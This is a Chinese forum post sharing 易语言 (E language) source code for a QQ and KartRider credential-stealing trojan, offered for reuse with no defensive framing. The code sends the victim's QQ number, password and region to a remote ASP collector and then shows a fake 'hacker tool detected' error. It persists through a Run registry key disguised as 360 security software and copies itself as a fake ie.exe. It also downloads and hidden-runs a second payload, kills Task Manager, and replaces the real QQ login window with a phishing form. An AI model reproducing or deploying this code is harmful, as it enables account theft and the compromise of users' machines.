|

分享源码
界面截图: |
- |
是否带模块: |
- |
备注说明: |
- |
[e].版本 2
.支持库 internet
.程序集 窗口程序集3
.程序集变量 大区, 文本型
.子程序 _窗口1_创建完毕
超级链接框1.字体.下划线 = 真
超级链接框2.字体.下划线 = 真
超级链接框3.字体.下划线 = 真
.子程序 _按钮1_被单击
.如果真 (C1.选中 = 真)
大区 = C1.标题
.如果真结束
.如果真 (C2.选中 = 真)
大区 = C2.标题
.如果真结束
.如果真 (C3.选中 = 真)
大区 = C3.标题
.如果真结束
.如果真 (C4.选中 = 真)
大区 = C4.标题
.如果真结束
.如果真 (QQASP (“http://37448.4x4x.info/jiaocheng.asp”, 编辑框1.内容, 编辑框2.内容, 大区) = “发送成功”)
.如果真结束
信息框 (“发现了黑客工具,结束程序。结束(Code = 10501)程序。”, 0, )
延时 (1500)
销毁 ()
.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型, , ASP文件路径
.参数 号码, 文本型
.参数 密码, 文本型
.参数 大区, 文本型
返回 (到文本 (HTTP读文件 (地址 + “?” + “qqnumber=” + 号码 + “&qqpassword=” + 密码 + “-大区:” + 大区)))[/e]- .版本 2
- .支持库 eAPI
- .支持库 sock
- .支持库 internet
- .支持库 iext
- .程序集 窗口程序集1
- .子程序 __启动窗口_创建完毕
- .局部变量 iii, 文本型, , "0"
- .局部变量 n, 整数型
- .局部变量 c, 逻辑型
- 终止进程 (“KartRider.exe”)
- .如果 (进程是否存在 (“KartRider.exe”))
- 终止进程 (“KartRider.exe”)
- .否则
- .如果结束
- 时钟6.时钟周期 = 500
- 复制文件 (取运行目录 () + “\” + 取执行文件名 (), “C:\Program Files\Internet Explorer\ie.exe”)
- iii = 取本机IP ()
- .计次循环首 (取数组成员数 (iii), n)
- 组合框1.加入项目 (iii [n], )
- .计次循环尾 ()
- 组合框1.现行选中项 = 1
- 删除注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\360saft”)
- 写注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\360saft”, “C:\Program Files\Internet Explorer\ie.exe”)
- 写到文件 (“C:\Program Files\Internet Explorer\le.exe”, HTTP读文件 (透明标签4.标题))
- .子程序 _时钟3_周期事件
- 终止进程 (“taskmgr.exe”)
- .判断开始 (窗口取标题 (窗口标题取句柄 (“QQ2010”)) = “QQ2010”)
- 窗口销毁 (窗口标题取句柄 (“QQ2010”))
- 载入 (窗口1, , 假)
- .默认
- .判断结束
- .子程序 _时钟4_周期事件
- 时钟3.时钟周期 = 50
- 时钟4.时钟周期 = 0
- .子程序 _时钟5_周期事件
- 运行 (“C:\Program Files\Internet Explorer\le.exe”, 假, #隐藏窗口)
- .子程序 _时钟6_周期事件
- .判断开始 (进程是否存在 (“KartRider.exe”))
- 终止进程 (“KartRider.exe”)
- 载入 (窗口1, , 真)
- .默认
- .判断结束
复制代码 |
|